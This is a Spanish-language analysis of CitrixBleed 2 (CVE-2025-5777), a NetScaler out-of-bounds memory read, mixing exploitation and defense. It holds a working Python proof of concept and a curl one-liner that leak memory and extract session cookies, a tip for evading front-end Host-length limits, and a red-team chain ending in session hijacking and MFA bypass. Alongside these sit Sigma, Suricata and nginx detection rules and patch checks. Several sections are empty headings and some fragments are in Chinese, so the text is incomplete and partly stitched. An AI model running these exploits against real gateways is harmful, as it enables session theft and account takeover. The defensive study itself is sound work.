CitrixBleed 2 (CVE-2025-5777): Análisis Definitivo

An Out-of-Bounds Memory Read in NetScaler ADC / Gateway — Un manual completo desde la causa raíz hasta los ejercicios de ataque y defensa

poc用法：python3 poc.py https://gateway.example.com exp用法：python3 exp.py https://gateway.example.com admin 7acbb35f4d...

Índice

0x00  Introducción / Resumen rápido
0x01  Contexto: Arquitectura de NetScaler y repaso de CitrixBleed 1
0x02  Descripción de la vulnerabilidad (versiones afectadas, CVSS, consecuencias de la explotación)
0x03  Análisis profundo del mecanismo de activación (análisis a nivel de código fuente y capturas de depuración)
0x04  PoC mínimo + script de escaneo avanzado
0x05  Perspectiva del equipo rojo: cadena de ataque completa (detección → fuga → secuestro de sesión → movimiento lateral en la red interna)
0x06  Perspectiva del equipo azul: detección, forensia y verificación de parches
0x07  Endurecimiento defensivo: parches, WAF, configuración, gestión de activos
0x08  Hoja de ruta de aprendizaje / repaso y laboratorios prácticos
Apéndice A  Reglas Sigma / Suricata / Nginx-Lua
Apéndice B  Cronología de parches/explotación e instantánea de IoC
Referencias

0x00 Introducción / Resumen rápido

• CVE-2025-5777 (también conocido como CitrixBleed 2) es una lectura de memoria fuera de límites (Out-of-Bounds Memory Read) en Citrix NetScaler ADC / Gateway.
• El atacante no necesita autenticación: basta con enviar una petición GET con una cabecera Host extremadamente larga para que el dispositivo "escupe" al cliente bloques de memoria aleatoria junto con la respuesta HTTP.
• Los datos filtrados suelen incluir materiales críticos como cookies NSC_USER / NSC_TASS, StateContext de SAML, tokens MFA, que pueden reutilizarse directamente para realizar el secuestro de sesión y la evasión de MFA (arcticwolf.com, tenable.com).
• Puntuación base CVSS v4 de 9.3 (Crítico) (netscaler.com).
• Divulgado el 2025-06-17; el 2025-06-23, Citrix amplió el alcance de los productos afectados y publicó parches; en una semana, proveedores de seguridad como ReliaQuest y Bishop Fox observaron sucesivamente un aumento de la explotación en la naturaleza (reliaquest.com, bishopfox.com).

0x01 Contexto

1.1 Breve descripción del flujo de trabajo de NetScaler

┌──────────────┐
│ Client       │ ① HTTPS
└──────┬───────┘
       │
┌──────▼───────┐
│ NetScaler    │ ② AAA / Gateway 认证
│  (WebProc)   │
└──────┬───────┘
       │
┌──────▼───────┐
│ ICA Proxy /  │ ③ 正向到应用
│ CVPN / RDP   │
└──────────────┘

NetScaler adopta un diseño de múltiples procesos + IPC interno. WebProc se encarga de procesar la mayoría de las peticiones HTTP en la ruta AAA / Gateway, incluyendo /nf/auth/*, /oauth/*, etc. Hace un uso intensivo de snprintf() / memcpy() en lenguaje C cada vez que compone fragmentos XML/HTML.

1.2 Repaso de CitrixBleed 1 (CVE-2023-4966)

• En 2023, una vulnerabilidad de la misma índole ocurrió en el endpoint de descubrimiento OAuth /oauth/idp/.well-known/openid-configuration.
• Su esencia era la misma: usar el valor de retorno de snprintf como parámetro len del posterior send() → eco de memoria fuera de límites.
• CitrixBleed 2 demuestra que el mismo tipo de defecto de codificación segura sigue latente en otras rutas.

Lección aprendida: si los parches de seguridad solo corrigen el "punto de impacto" en lugar del "paradigma de programación", se deja espacio para la "reproducción con plantillas".

0x02 Descripción de la vulnerabilidad

0x03 Análisis profundo del mecanismo de activación

Esta sección se basa en la descompilación del firmware 13.1-55.18 + depuración con gdb, recopilada a partir de blogs públicos (bishopfox.com).

3.1 Punto de entrada de la vulnerabilidad

• URI: /nf/auth/startwebview.do
• Parámetro controlable: cabecera HTTP Host
• Este endpoint se utiliza para generar el XML de redirección de Citrix Workspace WebView. Ejemplo de respuesta normal:

<AuthenticateResponse>
  <wv:StartUrl>https://gateway.example.com/Citrix/AAA/start.html</wv:StartUrl>
  ...
</AuthenticateResponse>

3.2 Cadena de funciones clave

citrix_webview_handler()
 ├─ build_auth_xml()
 │    ├─ snprintf(buf, 0x1800, TEMPLATE, host_hdr, ... );
 │    └─ return length;           // ⚠️ length 可 ＞ 0x1800
 └─ ns_vpn_send_response(conn, 0x980200, buf, length);

Punto del bug: snprintf devuelve la "longitud que debería haberse escrito" en lugar de la longitud realmente escrita; si el Host proporcionado por el usuario supera 0x1800 - longitud del segmento constante, entonces length > sizeof(buf).

3.3 Representación en tiempo de ejecución

buf: [-----XML-----][OOB][OOB][OOB]......            <- 0x1800 bytes limit
                          ↑
                被 ns_vpn_send_response 一并发出

Demostración del punto de interrupción en GDB (registros clave):

RDI (dst) = 0x7fffa2e31800  // buf
RSI (len) = 0x00001e42      // length=7746 (>6144)

Los resultados de read() muestran que los últimos 1600 bytes provienen de memoria no inicializada, donde se pueden apreciar buffers de cookies de otras sesiones SSL.

3.4 Categorías de datos filtrados

0x04 Implementación del PoC

4.1 Python en un solo archivo (15 líneas)

#!/usr/bin/env python3
# CVE-2025-5777 Minimal PoC  (authorized testing ONLY)
import requests, sys, urllib3, re
urllib3.disable_warnings()

if len(sys.argv) != 2:
    exit(f"Usage: {sys.argv[0]} https://NSVIP")

url = sys.argv[1].rstrip("/") + "/nf/auth/startwebview.do"
hdr = {"Host": "A" * 0x6000}               # >0x1800 triggers
r = requests.get(url, headers=hdr, verify=False, timeout=10)

print("[+] HTTP", r.status_code, "bytes:", len(r.content))
hits = re.findall(br"(NSC_[A-Z]+=[^;]{10,})", r.content)
for h in hits: print("  Cookie leak ->", h.decode())

open("leak.bin", "wb").write(r.content)
print("[+] Saved leak.bin for offline grep.")

• Tras la ejecución, si devuelve un 200 + varios KB, se determina que la vulnerabilidad está presente.
• Además, busca en leak.bin palabras clave como Cookie=, <AuthenticateContext>, etc.

4.2 Bash / curl en una sola línea

curl -ks -H "Host: $(python -c 'print(\"A\"*6000)')" \
     https://NSVIP/nf/auth/startwebview.do -o leak.bin

Bypass: algunos dispositivos aplican una limitación de longitud de Host en el F5 / Nginx frontal; se puede evadir concatenando múltiples subdominios, por ejemplo foo.foo.foo.…foo.example.com (repitiendo foo 3000 veces).

0x05 Perspectiva del equipo rojo: cadena de ataque completa

Caso real: ReliaQuest observó en un gateway de un cliente "una gran cantidad de peticiones con cabecera Host de más de 6 KB en un corto periodo, seguidas inmediatamente por el robo de sesiones" (reliaquest.com).

0x06 Perspectiva del equipo azul: detección, forensia y verificación de parches

6.1 Registros e IoC

6.2 Regla Sigma (versión resumida)

title: CitrixBleed2 Host Header OOB Leak
status: experimental
logsource:
  category: webserver
  product: netscaler
detection:
  selection:
    cs-uri-stem: "/nf/auth/startwebview.do"
    cs-bytes|gt: 2048
    c-host|strlen|gt: 4096
  condition: selection
level: critical

6.3 Script de verificación del parche

nscli -s 127.0.0.1:3008 \
      -c "show ns version" | grep -E "13\.1-58\.32|14\.1-43\.56" \
      && echo "Patched ✅" || echo "Vulnerable ❌"

6.4 Terminar sesiones

# 清除全部活动 VPN/ICA 连接
kill icaconnection -all
kill vpn -all

Nota: tras aplicar el parche, sigue siendo necesario forzar el cierre de sesión para evitar que el atacante continúe usando las cookies robadas.

0x07 Endurecimiento defensivo

1. Parche oficial: actualizar a ≥ 14.1-43.56 / 13.1-58.32, o aplicar la versión correspondiente en los modelos FIPS/NDcPP (netscaler.com).
2. Limitación de la longitud de la cabecera Host (medida temporal)

map $http_host $block_long_host {
    default          0;
    "~^.{4097,}$"    1;
}
server {
    ...
    if ($block_long_host) { return 413; }
}

3. Reglas adaptativas de WAF: habilitar la limitación de velocidad en las rutas /nf/auth/ y /oauth/ (p. ej., 20 req/m).
4. Inventario de activos: las versiones EOL 12.1/13.0 nunca volverán a recibir parches oficiales; planifica su sustitución o un aislamiento estricto (support.citrix.com).
5. Seguridad de MFA: la fuga de sesiones permite evadir el MFA → se recomienda habilitar la "firma por petición" o el "vínculo dinámico con la huella de hardware", en lugar de verificar solo en el primer inicio de sesión.

0x08 Hoja de ruta de aprendizaje / repaso

Apéndice A — Fragmentos de detección / defensa

title: Netscaler CitrixBleed2 Large Host Header
id: 4d6f1e1b-0bfe-4473-a732-3e7e9a21f650
status: experimental
description: Detects abnormal Host header length in requests to /nf/auth/startwebview.do
references:
  - https://nvd.nist.gov/vuln/detail/CVE-2025-5777
author: mingshenhk
logsource:
  product: netscaler
  service: http_access
detection:
  selection:
    cs-uri-stem: "/nf/auth/startwebview.do"
    c-host|strlen|gt: 4096
  condition: selection
level: critical

alert http any any -> any any (
  msg:"CitrixBleed2 CVE-2025-5777 Host header overflow";
  http.uri; content:"/nf/auth/startwebview.do"; nocase;
  http.header; field:Host; content:"AAAAAAAA"; within:0; distance:0; offset:4096;
  classtype:attempted-recon;
  sid:5777002; rev:1;
)

-- access_by_lua_block
local host = ngx.var.http_host or ""
if #host > 4096 then
  ngx.log(ngx.WARN,"[CitrixBleed2] Blocked Host len=",#host)
  return ngx.exit(ngx.HTTP_REQUEST_HEADER_FIELDS_TOO_LARGE)
end

Apéndice B — Cronología

Referencias

1. Aviso de seguridad oficial de Citrix y notas del parche (netscaler.com)
2. Arctic Wolf, «Informe técnico sobre CVE-2025-5777» (arcticwolf.com)
3. Bishop Fox, «OOB Memory Read in NetScaler» (bishopfox.com)
4. ReliaQuest, «Threat Spotlight: CitrixBleed 2» (reliaquest.com)
5. FAQ de Tenable sobre CVE-2025-5777 (tenable.com)
6. Boletín de seguridad de BleepingComputer (bleepingcomputer.com)
7. Entrada de NVD para CVE-2025-5777 (nvd.nist.gov)
8. Citrix Support KB CTX693420 (support.citrix.com)

Fin — Espero que este documento te ayude a comprender y afrontar CitrixBleed 2 en todos sus aspectos. Si necesitas complementarlo con más ejemplos, scripts u orientación para prácticas, ¡no dudes en seguir planteándolos!